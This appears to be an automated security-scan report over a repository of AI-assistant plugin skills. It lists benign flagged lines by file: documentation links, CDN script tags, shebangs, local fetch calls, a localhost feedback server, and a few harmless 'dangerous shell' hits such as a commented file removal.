harness/claude-code/plugins/copilot-customization-authoring/skills/copilot-usage-metrics/get-org-user-metrics.sh
- Executable scriptline 1
#!/usr/bin/env bash
harness/claude-code/plugins/copilot-customization-authoring/skills/github-copilot-starter/SKILL.md
- Network accessline 39
1. Inspect the repository for stack signals before asking questions. 2. Research `awesome-copilot` examples with web fetch before generating content: - https://github.com/github/awesome-copilot/blob/main/docs/README.instructions.md - Network accessline 40
2. Research `awesome-copilot` examples with web fetch before generating content: - https://github.com/github/awesome-copilot/blob/main/docs/README.instructions.md - https://github.com/github/awesome-copilot/blob/main/docs/README.agent - Network accessline 41
- https://github.com/github/awesome-copilot/blob/main/docs/README.instructions.md - Network accessline 42
- https://github.com/github/awesome-copilot/blob/main/docs/README.agents.md - Network accessline 43
- https://github.com/github/awesome-copilot/blob/main/docs/README.skills.md - Network accessline 44
- https://github.com/github/awesome-copilot/tree/main/instructions - Network accessline 45
- https://github.com/github/awesome-copilot/tree/main/agents - Network accessline 46
- https://github.com/github/awesome-copilot/tree/main/skills - Network accessline 125
<!-- Based on/Inspired by: https://github.com/github/awesome-copilot/blob/main/instructions/{filename}.instructions.md --> - Network accessline 146
<!-- Based on: https://github.com/github/awesome-copilot/blob/main/instructions/nodejs-javascript-vitest.instructions.md --> - Network accessline 147
<!-- Inspired by: https://github.com/github/awesome-copilot/blob/main/instructions/java-junit5-assertions.instructions.md --> - Network accessline 148
<!-- and: https://github.com/github/awesome-copilot/blob/main/instructions/springboot.instructions.md --> - Network accessline 177
<!-- Based on/Inspired by: https://github.com/github/awesome-copilot/blob/main/agents/{filename}.agent.md --> - Network accessline 280
- [awesome-copilot instructions docs](https://github.com/github/awesome-copilot/blob/main/docs/README.instructions.md) - Network accessline 281
- [awesome-copilot agents docs](https://github.com/github/awesome-copilot/blob/main/docs/README.agents.md) - Network accessline 282
- [awesome-copilot skills docs](https://github.com/github/awesome-copilot/blob/main/docs/README.skills.md) - Network accessline 283
- [awesome-copilot instructions directory](https://github.com/github/awesome-copilot/tree/main/instructions) - Network accessline 284
- [awesome-copilot agents directory](https://github.com/github/awesome-copilot/tree/main/agents) - Network accessline 285
- [awesome-copilot skills directory](https://github.com/github/awesome-copilot/tree/main/skills)
harness/claude-code/plugins/copilot-customization-authoring/skills/harness-engineering/SKILL.md
- Network accessline 125
The prompt-first harness workflow at `https://github.com/baskduf/harness-starter-kit` is optional reference material only when the user asks for it or the target repository already uses it. Do not let that reference override repository evid - Network accessline 162
- [Harness starter kit](https://github.com/baskduf/harness-starter-kit)
harness/claude-code/plugins/copilot-customization-authoring/skills/lsp-setup/SKILL.md
- Network accessline 138
- [VS Code known language identifiers](https://code.visualstudio.com/docs/languages/identifiers#_known-language-identifiers)
harness/claude-code/plugins/copilot-customization-authoring/skills/lsp-setup/references/lsp-servers.md
- Network accessline 11
**Server**: [typescript-language-server](https://github.com/typescript-language-server/typescript-language-server) - Network accessline 40
**Server**: [Eclipse JDT Language Server (jdtls)](https://github.com/eclipse-jdtls/eclipse.jdt.ls) - Network accessline 47
|---------|-----------------------------------| | macOS | `brew install jdtls` | | Linux | Check distro repos for `jdtls` or `eclipse.jdt.ls`; alternatively download from https://download.eclipse.org/jdtls/milestones/ | - Network accessline 48
| macOS | `brew install jdtls` | | Linux | Check distro repos for `jdtls` or `eclipse.jdt.ls`; alternatively download from https://download.eclipse.org/jdtls/milestones/ | | Windows | Download from https://download.eclipse. - Network accessline 49
| Linux | Check distro repos for `jdtls` or `eclipse.jdt.ls`; alternatively download from https://download.eclipse.org/jdtls/milestones/ | - Network accessline 50
| Windows | Download from https://download.eclipse.org/jdtls/milestones/ and add `bin/` to `PATH` | - Network accessline 68
> **Note**: The `jdtls` wrapper script handles `--stdio` mode internally. If using a manual install, you may need to invoke the launcher jar directly — see the [jdtls README](https://github.com/eclipse-jdtls/eclipse.jdt.ls#running-from-comm - Network accessline 74
**Server**: [pyright](https://github.com/microsoft/pyright) - Network accessline 101
**Server**: [gopls](https://github.com/golang/tools/tree/master/gopls) - Network accessline 128
**Server**: [rust-analyzer](https://github.com/rust-lang/rust-analyzer) - Network accessline 157
**Server**: [clangd](https://clangd.llvm.org/) - Network accessline 163
| macOS | `brew install llvm` (clangd included) or Xcode command line tools | | Linux | `apt install clangd` / `dnf install clang-tools-extra` | | Windows | Download LLVM from https://releases.llvm.org/ | - Network accessline 165
| Windows | Download LLVM from https://releases.llvm.org/ | - Network accessline 191
**Server**: [Roslyn Language Server](https://github.com/dotnet/roslyn) (via `dotnet dnx`) - Network accessline 195
| OS | Command | |---------|----------------------------------------------------------------| | Any | Requires the [.NET SDK](https://dot.net/download) installed | - Network accessline 197
| Any | Requires the [.NET SDK](https://dot.net/download) installed | - Network accessline 217
**Server**: [solargraph](https://github.com/castwide/solargraph) - Network accessline 245
**Server**: [intelephense](https://github.com/bmewburn/vscode-intelephense) - Network accessline 271
**Server**: [kotlin-language-server](https://github.com/fwcd/kotlin-language-server) - Network accessline 299
**Server**: [sourcekit-lsp](https://github.com/swiftlang/sourcekit-lsp) (bundled with Swift toolchain) - Network accessline 304
|---------|----------------------------------------------------------------| | macOS | Included with Xcode; binary at `xcrun sourcekit-lsp` | | Linux | Included with Swift toolchain; install from https://swift.org | - Network accessline 305
| macOS | Included with Xcode; binary at `xcrun sourcekit-lsp` | | Linux | Included with Swift toolchain; install from https://swift.org | | Windows | Included with Swift toolchain; install from https://swift.org | - Network accessline 306
| Linux | Included with Swift toolchain; install from https://swift.org | - Network accessline 307
| Windows | Included with Swift toolchain; install from https://swift.org | - Network accessline 329
**Server**: [lua-language-server](https://github.com/LuaLS/lua-language-server) - Network accessline 357
**Server**: [yaml-language-server](https://github.com/redhat-developer/yaml-language-server) - Network accessline 384
**Server**: [bash-language-server](https://github.com/bash-lsp/bash-language-server)
harness/claude-code/plugins/copilot-customization-authoring/skills/microsoft-skill-creator/SKILL.md
- Network accessline 8
metadata: compatibility: >- Works best with Microsoft Learn MCP Server (https://learn.microsoft.com/api/mcp). Can also use - Network accessline 9
compatibility: >- Works best with Microsoft Learn MCP Server (https://learn.microsoft.com/api/mcp). Can also use the mslearn CLI as a fallback. - Network accessline 10
Works best with Microsoft Learn MCP Server (https://learn.microsoft.com/api/mcp). Can also use - Network accessline 31
- Prefer the Microsoft Learn MCP Server at `https://learn.microsoft.com/api/mcp` when available. - Network accessline 106
For a Semantic Kernel skill, use `semantic-kernel/`, `sample_codes/getting-started/hello-kernel.cs`, `sample_codes/common-patterns/chat-completion.cs`, and `sample_codes/common-patterns/function-calling.cs`. Useful seed lookups include `mic - Network accessline 158
- [Microsoft Learn MCP Server](https://learn.microsoft.com/api/mcp) - Network accessline 159
- [Semantic Kernel overview](https://learn.microsoft.com/semantic-kernel/overview/) - Network accessline 160
- [Semantic Kernel agent memory](https://learn.microsoft.com/en-us/semantic-kernel/frameworks/agent/agent-memory)
harness/claude-code/plugins/copilot-customization-authoring/skills/mini-context-graph/references/lint.md
- Dangerous shell operationline 48
# rm wiki/{category}/{slug}.md
harness/claude-code/plugins/copilot-customization-authoring/skills/mini-context-graph/scripts/config.py
harness/claude-code/plugins/copilot-customization-authoring/skills/mini-context-graph/scripts/contextgraph.py
- Executable scriptline 1
Executable file
harness/claude-code/plugins/copilot-customization-authoring/skills/mini-context-graph/scripts/template_agent_workflow.py
- Executable scriptline 1
Executable file
harness/claude-code/plugins/copilot-customization-authoring/skills/mini-context-graph/scripts/tools/__init__.py
- Executable scriptline 1
Executable file
harness/claude-code/plugins/copilot-customization-authoring/skills/mini-context-graph/scripts/tools/documents_store.py
harness/claude-code/plugins/copilot-customization-authoring/skills/mini-context-graph/scripts/tools/graph_store.py
harness/claude-code/plugins/copilot-customization-authoring/skills/mini-context-graph/scripts/tools/index_store.py
harness/claude-code/plugins/copilot-customization-authoring/skills/mini-context-graph/scripts/tools/ontology_store.py
harness/claude-code/plugins/copilot-customization-authoring/skills/mini-context-graph/scripts/tools/retrieval_engine.py
- Executable scriptline 1
Executable file
harness/claude-code/plugins/copilot-customization-authoring/skills/mini-context-graph/scripts/tools/wiki_store.py
harness/claude-code/plugins/copilot-customization-authoring/skills/skill-creator/assets/eval_review.html
- Dangerous shell operationline 81
const rm = document.createElement("button");
harness/claude-code/plugins/copilot-customization-authoring/skills/skill-creator/eval-viewer/generate_review.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 99
const a=document.createElement('a');a.href=URL.createObjectURL(blob);a.download='feedback.json';a.click(); }else{ fetch('/feedback',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify(payload)}) - Network accessline 100
}else{ fetch('/feedback',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify(payload)}) .then(()=>alert('Feedback saved. You can return to the assistant.')) - Network accessline 101
fetch('/feedback',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify(payload)}) - Network accessline 198
with socketserver.TCPServer(("127.0.0.1", port), Handler) as httpd: url = f"http://127.0.0.1:{port}/" - Network accessline 199
url = f"http://127.0.0.1:{port}/"
harness/claude-code/plugins/copilot-customization-authoring/skills/skill-creator/scripts/test_validate_skill.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/plugins/copilot-customization-authoring/skills/skill-creator/scripts/validate_skill.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/plugins/copilot-customization-authoring/skills/steno-mode/SKILL.md
- Access to secretsline 50
[Credential-related source omitted]
harness/claude-code/plugins/copilot-customization-authoring/skills/vardoger-analyze/SKILL.md
- Network accessline 58
If you do not have pipx, see https://pipx.pypa.io/stable/. - Network accessline 60
Project page: https://github.com/dstrupl/vardoger - Network accessline 168
- [pipx documentation](https://pipx.pypa.io/stable/) - Network accessline 169
- [vardoger project](https://github.com/dstrupl/vardoger)
harness/claude-code/plugins/copilot-plugin-development/.claude-plugin/plugin.json
- Network accessline 6
"name": "Copilot Primitives Maintainers" }, "repository": "https://github.com/paulasilvatech/copilot-primitives", - Network accessline 7
}, "repository": "https://github.com/paulasilvatech/copilot-primitives", "license": "MIT", - Network accessline 8
"repository": "https://github.com/paulasilvatech/copilot-primitives",
harness/claude-code/plugins/copilot-sdk/.claude-plugin/plugin.json
harness/claude-code/plugins/copilot-sdk/skills/copilot-sdk/SKILL.md
harness/claude-code/plugins/copilot-sdk/skills/copilot-sdk/references/extended-guide.md
- Network accessline 350
github: { type: "http", url: "https://api.githubcopilot.com/mcp/", - Network accessline 351
type: "http", url: "https://api.githubcopilot.com/mcp/", }, - Network accessline 352
url: "https://api.githubcopilot.com/mcp/", - Network accessline 364
"github": { "type": "http", "url": "https://api.githubcopilot.com/mcp/", - Network accessline 365
"type": "http", "url": "https://api.githubcopilot.com/mcp/", }, - Network accessline 366
"url": "https://api.githubcopilot.com/mcp/", - Network accessline 378
"github": { "type": "http", "url": "https://api.githubcopilot.com/mcp/", - Network accessline 379
"type": "http", "url": "https://api.githubcopilot.com/mcp/", }, - Network accessline 380
"url": "https://api.githubcopilot.com/mcp/", - Network accessline 395
{ Type = "http", Url = "https://api.githubcopilot.com/mcp/", - Network accessline 396
Type = "http", Url = "https://api.githubcopilot.com/mcp/", }, - Network accessline 397
Url = "https://api.githubcopilot.com/mcp/", - Network accessline 704
- **GitHub Repository**: https://github.com/github/copilot-sdk - Network accessline 705
- **Getting Started Tutorial**: https://github.com/github/copilot-sdk - Network accessline 706
- **GitHub MCP Server**: https://github.com/github/github-mcp-server - Network accessline 707
- **MCP Servers Directory**: https://github.com/modelcontextprotocol/servers - Network accessline 708
- **Cookbook**: https://github.com/github/copilot-sdk - Network accessline 709
- **Samples**: https://github.com/github/copilot-sdk
harness/claude-code/plugins/creative-media-tooling/.claude-plugin/plugin.json
- Network accessline 6
"name": "paulasilvatech" }, "repository": "https://github.com/paulasilvatech/copilot-primitives", - Network accessline 7
}, "repository": "https://github.com/paulasilvatech/copilot-primitives", "license": "MIT", - Network accessline 8
"repository": "https://github.com/paulasilvatech/copilot-primitives",
harness/claude-code/plugins/creative-media-tooling/skills/adobe-illustrator-scripting/references/extended-guide.md
- Network accessline 821
- [Changelog](https://ai-scripting.docsforadobe.dev/introduction/changelog/) - Recent scripting API changes (CC 2020 added `Document.getPageItemFromUuid` and `PageItem.uuid`; CC 2017 added `Application.getIsFileOpen`) - Network accessline 822
- [Illustrator Scripting Guide](https://ai-scripting.docsforadobe.dev/) - Full community-maintained documentation
harness/claude-code/plugins/creative-media-tooling/skills/adobe-illustrator-scripting/scripts/batch-export-png.jsx
- Executable scriptline 1
Executable file
harness/claude-code/plugins/creative-media-tooling/skills/adobe-illustrator-scripting/scripts/create-color-grid.jsx
- Executable scriptline 1
Executable file
harness/claude-code/plugins/creative-media-tooling/skills/adobe-illustrator-scripting/scripts/find-replace-text.jsx
- Executable scriptline 1
Executable file
harness/claude-code/plugins/creative-media-tooling/skills/freecad-scripts/SKILL.md
- Network accessline 201
- [Writing Python code](https://wiki.freecad.org/Manual:A_gentle_introduction#Writing_Python_code) - Network accessline 202
- [Manipulating FreeCAD objects](https://wiki.freecad.org/Manual:A_gentle_introduction#Manipulating_FreeCAD_objects) - Network accessline 203
- [Vectors and Placements](https://wiki.freecad.org/Manual:A_gentle_introduction#Vectors_and_Placements) - Network accessline 204
- [Creating and manipulating geometry](https://wiki.freecad.org/Manual:Creating_and_manipulating_geometry) - Network accessline 205
- [Creating parametric objects](https://wiki.freecad.org/Manual:Creating_parametric_objects) - Network accessline 206
- [Creating interface tools](https://wiki.freecad.org/Manual:Creating_interface_tools) - Network accessline 207
- [Python](https://en.wikipedia.org/wiki/Python_%28programming_language%29) - Network accessline 208
- [Introduction to Python](https://wiki.freecad.org/Introduction_to_Python) - Network accessline 209
- [Python scripting tutorial](https://wiki.freecad.org/Python_scripting_tutorial) - Network accessline 210
- [FreeCAD scripting basics](https://wiki.freecad.org/FreeCAD_Scripting_Basics) - Network accessline 211
- [Gui Command](https://wiki.freecad.org/Gui_Command)
harness/claude-code/plugins/creative-media-tooling/skills/freecad-scripts/references/geometry-and-shapes.md
- Network accessline 7
- [Creating and manipulating geometry](https://wiki.freecad.org/Manual:Creating_and_manipulating_geometry) - Network accessline 8
- [Part scripting](https://wiki.freecad.org/Part_scripting) - Network accessline 9
- [Topological data scripting](https://wiki.freecad.org/Topological_data_scripting) - Network accessline 10
- [Mesh scripting](https://wiki.freecad.org/Mesh_Scripting) - Network accessline 11
- [Mesh to Part conversion](https://wiki.freecad.org/Mesh_to_Part) - Network accessline 12
- [Sketcher scripting](https://wiki.freecad.org/Sketcher_scripting) - Network accessline 13
- [Drawing API example](https://wiki.freecad.org/Drawing_API_example) - Network accessline 14
- [Part: Create a ball bearing I](https://wiki.freecad.org/Scripted_Parts:_Ball_Bearing_-_Part_1) - Network accessline 15
- [Part: Create a ball bearing II](https://wiki.freecad.org/Scripted_Parts:_Ball_Bearing_-_Part_2) - Network accessline 16
- [Line drawing function](https://wiki.freecad.org/Line_drawing_function)
harness/claude-code/plugins/creative-media-tooling/skills/freecad-scripts/references/gui-and-interface.md
- Network accessline 7
- [Creating interface tools](https://wiki.freecad.org/Manual:Creating_interface_tools) - Network accessline 8
- [Gui Command](https://wiki.freecad.org/Gui_Command) - Network accessline 9
- [Define a command](https://wiki.freecad.org/Command) - Network accessline 10
- [PySide](https://wiki.freecad.org/PySide) - Network accessline 11
- [PySide beginner examples](https://wiki.freecad.org/PySide_Beginner_Examples) - Network accessline 12
- [PySide intermediate examples](https://wiki.freecad.org/PySide_Intermediate_Examples) - Network accessline 13
- [PySide advanced examples](https://wiki.freecad.org/PySide_Advanced_Examples) - Network accessline 14
- [PySide usage snippets](https://wiki.freecad.org/PySide_usage_snippets) - Network accessline 15
- [Interface creation](https://wiki.freecad.org/Interface_creation) - Network accessline 16
- [Dialog creation](https://wiki.freecad.org/Dialog_creation) - Network accessline 17
- [Dialog creation with various widgets](https://wiki.freecad.org/Dialog_creation_with_various_widgets) - Network accessline 18
- [Dialog creation reading and writing files](https://wiki.freecad.org/Dialog_creation_reading_and_writing_files) - Network accessline 19
- [Dialog creation setting colors](https://wiki.freecad.org/Dialog_creation_setting_colors) - Network accessline 20
- [Dialog creation image and animated GIF](https://wiki.freecad.org/Dialog_creation_image_and_animated_GIF) - Network accessline 21
- [Qt Example](https://wiki.freecad.org/Qt_Example) - Network accessline 22
- [3D view](https://wiki.freecad.org/3D_view) - Network accessline 23
- [The Coin scenegraph](https://wiki.freecad.org/Scenegraph) - Network accessline 24
- [Pivy](https://wiki.freecad.org/Pivy)
harness/claude-code/plugins/creative-media-tooling/skills/freecad-scripts/references/parametric-objects.md
- Network accessline 7
- [Creating parametric objects](https://wiki.freecad.org/Manual:Creating_parametric_objects) - Network accessline 8
- [Create a FeaturePython object part I](https://wiki.freecad.org/Create_a_FeaturePython_object_part_I) - Network accessline 9
- [Create a FeaturePython object part II](https://wiki.freecad.org/Create_a_FeaturePython_object_part_II) - Network accessline 10
- [Scripted objects](https://wiki.freecad.org/Scripted_objects) - Network accessline 11
- [Scripted objects saving attributes](https://wiki.freecad.org/Scripted_objects_saving_attributes) - Network accessline 12
- [Scripted objects migration](https://wiki.freecad.org/Scripted_objects_migration) - Network accessline 13
- [Scripted objects with attachment](https://wiki.freecad.org/Scripted_objects_with_attachment) - Network accessline 14
- [Viewprovider](https://wiki.freecad.org/Viewprovider) - Network accessline 15
- [Custom icon in tree view](https://wiki.freecad.org/Custom_icon_in_tree_view) - Network accessline 16
- [Properties](https://wiki.freecad.org/Property) - Network accessline 17
- [PropertyLink: InList and OutList](https://wiki.freecad.org/PropertyLink:_InList_and_OutList) - Network accessline 18
- [FeaturePython methods](https://wiki.freecad.org/FeaturePython_methods)
harness/claude-code/plugins/creative-media-tooling/skills/freecad-scripts/references/scripting-fundamentals.md
- Network accessline 7
- [A gentle introduction](https://wiki.freecad.org/Manual:A_gentle_introduction) - Network accessline 8
- [Introduction to Python](https://wiki.freecad.org/Introduction_to_Python) - Network accessline 9
- [Python scripting tutorial](https://wiki.freecad.org/Python_scripting_tutorial) - Network accessline 10
- [FreeCAD Scripting Basics](https://wiki.freecad.org/FreeCAD_Scripting_Basics) - Network accessline 11
- [Scripting and macros](https://wiki.freecad.org/Scripting_and_macros) - Network accessline 12
- [Working with macros](https://wiki.freecad.org/Macros) - Network accessline 13
- [Code snippets](https://wiki.freecad.org/Code_snippets) - Network accessline 14
- [Debugging](https://wiki.freecad.org/Debugging) - Network accessline 15
- [Profiling](https://wiki.freecad.org/Profiling) - Network accessline 16
- [Python development environment](https://wiki.freecad.org/Python_Development_Environment) - Network accessline 17
- [Extra python modules](https://wiki.freecad.org/Extra_python_modules) - Network accessline 18
- [FreeCAD vector math library](https://wiki.freecad.org/FreeCAD_vector_math_library) - Network accessline 19
- [Embedding FreeCAD](https://wiki.freecad.org/Embedding_FreeCAD) - Network accessline 20
- [Embedding FreeCADGui](https://wiki.freecad.org/Embedding_FreeCADGui) - Network accessline 21
- [Macro at startup](https://wiki.freecad.org/Macro_at_Startup) - Network accessline 22
- [How to install macros](https://wiki.freecad.org/How_to_install_macros) - Network accessline 23
- [IPython notebook integration](https://wiki.freecad.org/IPython_notebook_integration) - Network accessline 24
- [Quantity](https://wiki.freecad.org/Quantity)
harness/claude-code/plugins/creative-media-tooling/skills/freecad-scripts/references/workbenches-and-advanced.md
- Network accessline 7
- [Workbench creation](https://wiki.freecad.org/Workbench_creation) - Network accessline 8
- [Script tutorial](https://wiki.freecad.org/Scripts) - Network accessline 9
- [Macros recipes](https://wiki.freecad.org/Macros_recipes) - Network accessline 10
- [FEM scripting](https://wiki.freecad.org/FEM_Tutorial_Python) - Network accessline 11
- [Path scripting](https://wiki.freecad.org/Path_scripting) - Network accessline 12
- [Raytracing scripting](https://wiki.freecad.org/Raytracing_API_example) - Network accessline 13
- [Svg namespace](https://wiki.freecad.org/Svg_Namespace) - Network accessline 14
- [Python](https://wiki.freecad.org/Python) - Network accessline 15
- [PythonOCC](https://wiki.freecad.org/PythonOCC)
harness/claude-code/plugins/creative-media-tooling/skills/game-engine/assets/2d-maze-game.md
- Network accessline 5
**Source reference:** [MDN - HTML5 Gamedev Phaser Device Orientation](https://developer.mozilla.org/en-US/docs/Games/Tutorials/HTML5_Gamedev_Phaser_Device_Orientation) - Network accessline 6
**Live demo:** [Cyber Orb](https://orb.enclavegames.com/) - Network accessline 7
**Source code:** [GitHub - EnclaveGames/Cyber-Orb](https://github.com/EnclaveGames/Cyber-Orb)
harness/claude-code/plugins/creative-media-tooling/skills/game-engine/assets/2d-platform-game.md
- Network accessline 9
**Source:** Based on the [Mozilla HTML5 Games Workshop - Platformer](https://mozdevs.github.io/html5-games-workshop/en/guides/platformer/start-here/). Project starter files available at the workshop repository.
harness/claude-code/plugins/creative-media-tooling/skills/game-engine/assets/gameBase-template-repo.md
- Network accessline 5
**Repository:** [github.com/deepnight/gameBase](https://github.com/deepnight/gameBase) - Network accessline 6
**Author:** [Sebastien Benard / deepnight](https://deepnight.net) - Network accessline 8
**Level editor integration:** [LDtk](https://ldtk.io) - Network accessline 228
1. **Install Haxe** (4.0+): [haxe.org](https://haxe.org/download/) - Network accessline 229
2. **Install HashLink** (for desktop target): [hashlink.haxe.org](https://hashlink.haxe.org/) - Network accessline 230
3. **Install LDtk** (for level editing): [ldtk.io](https://ldtk.io/) - Network accessline 235
# Clone the repository git clone https://github.com/deepnight/gameBase.git my-game - Network accessline 236
git clone https://github.com/deepnight/gameBase.git my-game
harness/claude-code/plugins/creative-media-tooling/skills/game-engine/assets/paddle-game-template.md
- Network accessline 9
**Source:** Based on the [MDN 2D Breakout Game Tutorial](https://developer.mozilla.org/en-US/docs/Games/Tutorials/2D_Breakout_game_pure_JavaScript).
harness/claude-code/plugins/creative-media-tooling/skills/game-engine/assets/simple-2d-engine.md
- Network accessline 5
**Source references:** - [Part 1 - Basics](https://deepnight.net/tutorial/a-simple-platformer-engine-part-1-basics/) - Network accessline 6
- [Part 1 - Basics](https://deepnight.net/tutorial/a-simple-platformer-engine-part-1-basics/) - Network accessline 7
- [Part 2 - Collisions](https://deepnight.net/tutorial/a-simple-platformer-engine-part-2-collisions/) - Network accessline 9
**Author:** [Sebastien Benard / deepnight](https://deepnight.net)
harness/claude-code/plugins/creative-media-tooling/skills/game-engine/references/3d-web-games.md
- Network accessline 5
Sources: [MDN Web Docs -- Games Techniques: 3D on the web](https://developer.mozilla.org/en-US/docs/Games/Techniques/3D_on_the_web) - Network accessline 99
</head> <body> <script src="https://cdnjs.cloudflare.com/ajax/libs/three.js/r79/three.min.js"></script> - Network accessline 100
<body> <script src="https://cdnjs.cloudflare.com/ajax/libs/three.js/r79/three.min.js"></script> <script> - Network accessline 101
<script src="https://cdnjs.cloudflare.com/ajax/libs/three.js/r79/three.min.js"></script> - Network accessline 197
- Use `Math.abs()` when animating scale with `Math.sin()` to avoid negative scale values. - The render loop uses `requestAnimationFrame` for smooth, browser-optimized frame updates. - Consult [Three.js documentation](https://threejs.org/doc - Network accessline 199
- Consult [Three.js documentation](https://threejs.org/docs/) for the full API. - Network accessline 210
<script src="https://cdn.babylonjs.com/v7.34.1/babylon.js"></script> - Network accessline 275
- `BABYLON.Vector3` and `BABYLON.Color3` are used extensively for positioning and coloring. - Babylon.js includes a built-in math library for vectors, colors, and matrices. - Consult [Babylon.js documentation](https://doc.babylonjs.com/) fo - Network accessline 277
- Consult [Babylon.js documentation](https://doc.babylonjs.com/) for advanced features like physics, particles, and post-processing. - Network accessline 291
<meta charset="utf-8" /> <title>A-Frame Demo</title> <script src="https://aframe.io/releases/1.6.0/aframe.min.js"></script> - Network accessline 292
<title>A-Frame Demo</title> <script src="https://aframe.io/releases/1.6.0/aframe.min.js"></script> <style> - Network accessline 293
<script src="https://aframe.io/releases/1.6.0/aframe.min.js"></script> - Network accessline 394
- Entity-component system architecture - Built-in physics engine powered by [ammo.js](https://github.com/kripken/ammo.js/) - Network accessline 395
- Built-in physics engine powered by [ammo.js](https://github.com/kripken/ammo.js/) - Network accessline 403
- PlayCanvas excels for team-based game development thanks to its online editor with real-time collaboration. - The engine-only approach is lightweight and can be embedded in any web page. - Consult the [PlayCanvas developer documentation]( - Network accessline 405
- Consult the [PlayCanvas developer documentation](https://developer.playcanvas.com/) for tutorials on entities, components, cameras, lights, materials, and animations. - Network accessline 497
- Shaders run on the GPU and offload computation from the CPU, which is critical for real-time performance. - Three.js, Babylon.js, and other frameworks abstract much of the shader setup; pure WebGL requires significantly more boilerplate. - Network accessline 498
- Three.js, Babylon.js, and other frameworks abstract much of the shader setup; pure WebGL requires significantly more boilerplate. - [ShaderToy](https://www.shadertoy.com/) is an excellent resource for shader examples and inspiration. - GL - Network accessline 499
- [ShaderToy](https://www.shadertoy.com/) is an excellent resource for shader examples and inspiration. - Network accessline 732
- **A-Frame** -- built-in VR mode button; declarative HTML-based scenes automatically work in VR. - **Three.js** -- provides WebXR integration via `renderer.xr`. See [Three.js VR documentation](https://threejs.org/docs/#manual/en/introducti - Network accessline 733
- **Three.js** -- provides WebXR integration via `renderer.xr`. See [Three.js VR documentation](https://threejs.org/docs/#manual/en/introduction/How-to-create-VR-content). - Network accessline 752
- Always test on real headsets; the experience is vastly different from desktop preview. - Maintain a stable, high frame rate (72-90+ FPS) to prevent motion sickness. - Consult [MDN WebXR Device API](https://developer.mozilla.org/en-US/docs - Network accessline 754
- Consult [MDN WebXR Device API](https://developer.mozilla.org/en-US/docs/Web/API/WebXR_Device_API) for the full API reference.
harness/claude-code/plugins/creative-media-tooling/skills/game-engine/references/algorithms.md
- Network accessline 10
> Source: https://deepnight.net/tutorial/bresenham-magic-raycasting-line-of-sight-pathfinding/ - Network accessline 118
> Source: https://medium.com/@erikkubiak/dev-log-1-custom-engine-writing-my-collision-system-2a97856f9a93 - Network accessline 243
> Source: https://www.gamedev.net/tutorials/programming/math-and-physics/a-quick-lesson-in-velocity-and-speed-r6109/ - Network accessline 354
> Source: https://winter.dev/articles/physics-engine - Network accessline 551
> Source: https://www.gamedev.net/tutorials/programming/math-and-physics/vector-maths-for-game-dev-beginners-r5442/
harness/claude-code/plugins/creative-media-tooling/skills/game-engine/references/basics.md
harness/claude-code/plugins/creative-media-tooling/skills/game-engine/references/game-control-mechanisms.md
- Network accessline 507
<script src="https://unpkg.com/leapjs@0.6.4/leap-0.6.4.min.js"></script>
harness/claude-code/plugins/creative-media-tooling/skills/game-engine/references/game-engine-core-principles.md
- Network accessline 5
Source: https://www.gamedev.net/articles/programming/general-and-gameplay-programming/making-a-game-engine-core-design-principles-r3210/ - Network accessline 555
class WebFileSystem extends FileSystem { async readFile(path) { const response = await fetch(path); - Network accessline 556
async readFile(path) { const response = await fetch(path); return response.arrayBuffer(); - Network accessline 557
const response = await fetch(path);
harness/claude-code/plugins/creative-media-tooling/skills/game-engine/references/techniques.md
- Network accessline 9
**Source:** [MDN - Async Scripts for asm.js](https://developer.mozilla.org/en-US/docs/Games/Techniques/Async_scripts) - Network accessline 67
**Source:** [MDN - Optimizing Startup Performance](https://developer.mozilla.org/en-US/docs/Web/Performance/Guides/Optimizing_startup_performance) - Network accessline 143
**Source:** [MDN - WebRTC Data Channels](https://developer.mozilla.org/en-US/docs/Games/Techniques/WebRTC_data_channels) - Network accessline 178
- The WebRTC API is primarily known for audio and video communication but includes robust peer-to-peer data channel capabilities. - Libraries are recommended to simplify implementation and work around browser differences. - Full WebRTC docu - Network accessline 180
- Full WebRTC documentation is available at [MDN WebRTC API](https://developer.mozilla.org/en-US/docs/Web/API/WebRTC_API). - Network accessline 186
**Source:** [MDN - Audio for Web Games](https://developer.mozilla.org/en-US/docs/Games/Techniques/Audio_for_Web_Games) - Network accessline 271
async function getFile(filepath) { const response = await fetch(filepath); - Network accessline 272
const response = await fetch(filepath); - Network accessline 355
**Source:** [MDN - 2D Collision Detection](https://developer.mozilla.org/en-US/docs/Games/Techniques/2D_collision_detection) - Network accessline 526
**Source:** [MDN - Tilemaps](https://developer.mozilla.org/en-US/docs/Games/Techniques/Tilemaps) - Network accessline 618
**Source:** [MDN - Controls Gamepad API](https://developer.mozilla.org/en-US/docs/Games/Techniques/Controls_Gamepad_API) - Network accessline 801
**Source:** [MDN - Crisp Pixel Art Look](https://developer.mozilla.org/en-US/docs/Games/Techniques/Crisp_pixel_art_look)
harness/claude-code/plugins/creative-media-tooling/skills/game-engine/references/terminology.md
- Network accessline 5
Source: https://www.gameindustrycareerguide.com/video-game-development-terms-glossary/
harness/claude-code/plugins/creative-media-tooling/skills/game-engine/references/web-apis.md
- Network accessline 595
<!-- A simple SVG health bar --> <svg width="220" height="30" xmlns="http://www.w3.org/2000/svg"> - Network accessline 596
<svg width="220" height="30" xmlns="http://www.w3.org/2000/svg"> - Network accessline 757
// Load and play a sound effect async function playSFX(url) { const response = await fetch(url); - Network accessline 758
async function playSFX(url) { const response = await fetch(url); const arrayBuffer = await response.arrayBuffer(); - Network accessline 759
const response = await fetch(url); - Network accessline 1219
- **Parallel asset processing**: Decode images, decompress data, or parse level files without blocking rendering. - **OffscreenCanvas**: Render to a canvas from within a worker, enabling parallel rendering pipelines. - **Non-blocking networ - Network accessline 1221
- **Non-blocking networking**: Perform `fetch()` or XHR calls in a worker to keep the game loop smooth. - Network accessline 1394
For new projects, the **Fetch API** (`fetch()`) is generally preferred over XHR. It provides a cleaner promise-based interface, supports streaming via `ReadableStream`, and integrates well with async/await. However, XHR remains relevant whe
harness/claude-code/plugins/creative-media-tooling/skills/image-manipulation-image-magick/SKILL.md
- Dangerous shell operationline 82
echo " Ubuntu/Debian: sudo apt install imagemagick"
harness/claude-code/plugins/creative-media-tooling/skills/latchshot-page-capture/SKILL.md
- Access to secretsline 14
[Credential-related source omitted] - Network accessline 26
